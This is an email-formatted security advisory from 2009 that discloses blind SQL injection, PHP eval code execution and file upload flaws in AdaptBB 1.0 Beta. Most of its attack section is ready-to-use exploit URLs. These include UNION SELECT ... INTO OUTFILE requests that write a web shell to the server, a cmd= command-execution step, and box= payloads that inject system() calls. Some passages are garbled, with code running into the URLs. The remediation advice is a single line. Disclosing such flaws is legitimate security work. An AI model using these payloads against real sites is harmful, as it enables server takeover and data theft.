|
--001636c5b352b026cc04671f5b11
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
******* Salvatore "drosophila" Fresta *******
[+] Application: AdaptBB
[+] Version: 1.0 Beta
[+] Website: http://sourceforge.net/projects/adaptbb/
[+] Bugs: [A] Multiple Blind SQL Injection
[B] Multiple Dynamic Code Execution
[C] Arbitrary File Upload
[+] Exploitation: Remote
[+] Date: 09 Apr 2009
[+] Discovered by: Salvatore "drosophila" Fresta
[+] Author: Salvatore "drosophila" Fresta
[+] Contact: e-mail: drosophilaxxx@gmail.com
*************************************************
[+] Menu
1) Bugs
2) Code
3) Fix
*************************************************
[+] Bugs
- [A] Multiple Blind SQL Injection
[-] Risk: medium
[-] Requisites: magic_quotes_gpc = off
[-] File affected: almost all of the files are
vulnerable
This bug allows a guest to execute arbitrary SQL
queries.
- [B] Multiple Dynamic Code Execution
[-] Risk: hight
[-] File affected: almost all of the files are
vulnerable
This bug allows a guest to execute arbitrary php
code.
...
if ($_GET['box']) {
$folder = $_GET['box'];
}
...
$ddata[] = ucwords($folder);
...
eval (" ?> ".str_replace($cdata, $ddata,
stripslashes(template($view."_header")))." http://site/path/inc/attach.php?id=-1' UNION ALL SELECT '',2,3,4,5,6,7,8 INTO OUTFILE
'/var/www/htdocs/path/rce.php'%23
http://site/path/index.php?do=profile&user=blabla&box=-1' UNION ALL
SELECT '',2,3,4,5,6,7,8 INTO OUTFILE
'/var/www/htdocs/path/rce.php'%23
http://site/path/index.php?do=messages&user=blabla&box=-1' UNION ALL
SELECT '',2,3,4,5,6,7,8 INTO OUTFILE
'/var/www/htdocs/path/rce.php'%23
http://site/path/index.php?do=edit_post&id=-1' UNION ALL SELECT '',2,3,4,5,6,7,8,9 INTO OUTFILE
'/var/www/htdocs/path/rce.php'%23
To execute commands:
http://site/path/rce.php?cmd=uname -a
- [B] Multiple Dynamic Code Execution
http://www.site.com/path/index.php?do=profile&user=blabla&box=
echo "
"; system('ls'); echo "
"?>
http://www.site.com/path/index.php?do=messages&user=blabla&box=
echo ""; system('ls'); echo "
"?>
*************************************************
[+] Fix
To fix them you must check the input properly.
However is not recommended to store your real
username and password in the cookies.
*************************************************
--
Salvatore "drosophila" Fresta
CWNP444351
--001636c5b352b026cc04671f5b11
Content-Type: text/plain; charset=US-ASCII;
name="AdaptBB 1.0 Beta Multiple Remote Vulnerabilities-09042009.txt"
Content-Disposition: attachment;
filename="AdaptBB 1.0 Beta Multiple Remote Vulnerabilities-09042009.txt"
Content-Transfer-Encoding: base64
X-Attachment-Id: f_ftbhulod0
KioqKioqKiAgIFNhbHZhdG9yZSAiZHJvc29waGlsYSIgRnJlc3RhICAgKioqKioqKgoKWytdIEFw
cGxpY2F0aW9uOiBBZGFwdEJCClsrXSBWZXJzaW9uOiAxLjAgQmV0YQpbK10gV2Vic2l0ZTogaHR0
cDovL3NvdXJjZWZvcmdlLm5ldC9wcm9qZWN0cy9hZGFwdGJiLwoKWytdIEJ1Z3M6IFtBXSBNdWx0
aXBsZSBCbGluZCBTUUwgSW5qZWN0aW9uCiAgICAgICAgICBbQl0gTXVsdGlwbGUgRHluYW1pYyBD
b2RlIEV4ZWN1dGlvbgogICAgICAgICAgW0NdIEFyYml0cmFyeSBGaWxlIFVwbG9hZAoKWytdIEV4
cGxvaXRhdGlvbjogUmVtb3RlClsrXSBEYXRlOiAwOSBBcHIgMjAwOQoKWytdIERpc2NvdmVyZWQg
Ynk6IFNhbHZhdG9yZSAiZHJvc29waGlsYSIgRnJlc3RhClsrXSBBdXRob3I6IFNhbHZhdG9yZSAi
ZHJvc29waGlsYSIgRnJlc3RhClsrXSBDb250YWN0OiBlLW1haWw6IGRyb3NvcGhpbGF4eHhAZ21h
aWwuY29tCgoKKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioq
KgoKWytdIE1lbnUKCjEpIEJ1Z3MKMikgQ29kZQozKSBGaXgKCgoqKioqKioqKioqKioqKioqKioq
KioqKioqKioqKioqKioqKioqKioqKioqKioqKioq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